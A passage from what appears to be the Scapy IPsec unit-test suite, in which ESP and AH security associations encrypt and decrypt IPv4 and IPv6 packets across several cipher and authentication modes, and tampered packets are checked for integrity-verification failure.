e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d == p\n\n#######################################\n= IPv4 / AH - Tunnel - HMAC-MD5-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-MD5-96', auth_key=b'secret key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne.dst = '4.4.4.4'\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Tunnel - AES-CMAC-96\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d == p\n\n#######################################\n= IPv4 / AH - Tunnel - AES-CMAC-96 - altered packet\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne.dst = '4.4.4.4'\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv4 / AH - Tunnel - AES-CMAC-96 -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'),\n                         esn_en=True, esn=0x200)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.ttl = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet should be unaltered\nassert d == p\n\n#######################################\n= IPv4 / AH - Tunnel - AES-CMAC-96 - altered packet -- ESN\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key',\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'),\n                         esn_en=True, esn=0x200)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\nassert e.proto == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne.dst = '4.4.4.4'\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n###############################################################################\n+ IPv4 / UDP / ESP - NAT-Traversal\n\n#######################################\n= IPv4 / UDP / ESP - NAT-Traversal - Tunnel\n~ -crypto\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'),\n                         nat_t_header=UDP(dport=5000))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == '11.11.11.11' and e.dst == '22.22.22.22'\nassert e.chksum != p.chksum\n* the encrypted packet should have an UDP layer\nassert e.proto == socket.IPPROTO_UDP\nassert e.haslayer(UDP)\nassert e[UDP].sport == 4500\nassert e[UDP].dport == 5000\nassert e[UDP].chksum == 0\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv4 / UDP / ESP - NAT-Traversal - Transport\n~ -crypto\n\nimport socket\n\np = IP(src='1.1.1.1', dst='2.2.2.2')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IP(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='NULL', auth_key=None,\n                         nat_t_header=UDP(dport=5000))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IP)\nassert e.src == '1.1.1.1' and e.dst == '2.2.2.2'\nassert e.chksum != p.chksum\n* the encrypted packet should have an UDP layer\nassert e.proto == socket.IPPROTO_UDP\nassert e.haslayer(UDP)\nassert e[UDP].sport == 4500\nassert e[UDP].dport == 5000\nassert e[UDP].chksum == 0\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n###############################################################################\n= IPv6 / ESP - NAT-Traversal - Transport\n~ -crypto\n\nimport socket\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=3333, dport=55)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='NULL', auth_key=None,\n                         nat_t_header=UDP(dport=5000))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.chksum != p.chksum\n* the encrypted packet should have an UDP layer\nassert e.nh == socket.IPPROTO_UDP\nassert e.haslayer(UDP)\nassert e[UDP].sport == 4500\nassert e[UDP].dport == 5000\nassert e[UDP].chksum == 0\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\nassert not d.haslayer(UDP)\nassert d[Raw] == p[Raw]\n###############################################################################\n+ IPv6 / ESP\n\n#######################################\n= IPv6 / ESP - Transport - NULL - NULL\n~ -crypto\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Transport - AES-CBC - NULL\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Transport - NULL - HMAC-SHA1-96\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Transport - AES-CBC - HMAC-SHA1-96 - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / ESP - Transport - AES-GCM - NULL\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Transport - AES-GCM - NULL - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / ESP - Transport - AES-CCM - NULL\n~ crypto_advanced\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Transport - AES-CCM - NULL - altered packet\n~ crypto_advanced\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',\n                         auth_algo='NULL', auth_key=None)\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / ESP - Tunnel - NULL - NULL\n~ -crypto\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Tunnel - AES-CBC - NULL\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\n* integrity verification should pass\nd = sa.decrypt(e)\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='NULL', crypt_key=None,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\nassert b'testdata' in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].data = e[ESP].data.replace(b'\\x01', b'\\x21')\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Tunnel - AES-CBC - HMAC-SHA1-96 - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / ESP - Tunnel - AES-GCM - NULL\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Tunnel - AES-GCM - NULL - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / ESP - Tunnel - AES-CCM - NULL\n~ crypto_advanced\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\nd = sa.decrypt(e)\nd\n\n* after decryption original packet should be preserved\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / ESP - Tunnel - AES-CCM - NULL - altered packet\n~ crypto_advanced\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(ESP, spi=0x222,\n                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',\n                         auth_algo='NULL', auth_key=None,\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_ESP\nassert e.haslayer(ESP)\nassert not e.haslayer(TCP)\nassert e[ESP].spi == sa.spi\n* after encryption the original packet payload should NOT be readable\nassert b'testdata' not in e[ESP].data\n\n* simulate the alteration of the packet before decryption\ne[ESP].seq += 1\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n###############################################################################\n+ IPv6 / AH\n\n#######################################\n= IPv6 / AH - Transport - HMAC-SHA1-96\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\n* the encrypted packet should have an AH layer\nassert e.nh == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.hlim = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / AH - Transport - HMAC-SHA1-96 - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\n* the encrypted packet should have an AH layer\nassert e.nh == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne[TCP].dport = 46\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / AH - Transport - SHA2-256-128\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\n* the encrypted packet should have an AH layer\nassert e.nh == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.hlim = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d[TCP] == p[TCP]\n\n#######################################\n= IPv6 / AH - Transport - SHA2-256-128 - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\nassert e.src == '11::22' and e.dst == '22::11'\n* the encrypted packet should have an AH layer\nassert e.nh == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert 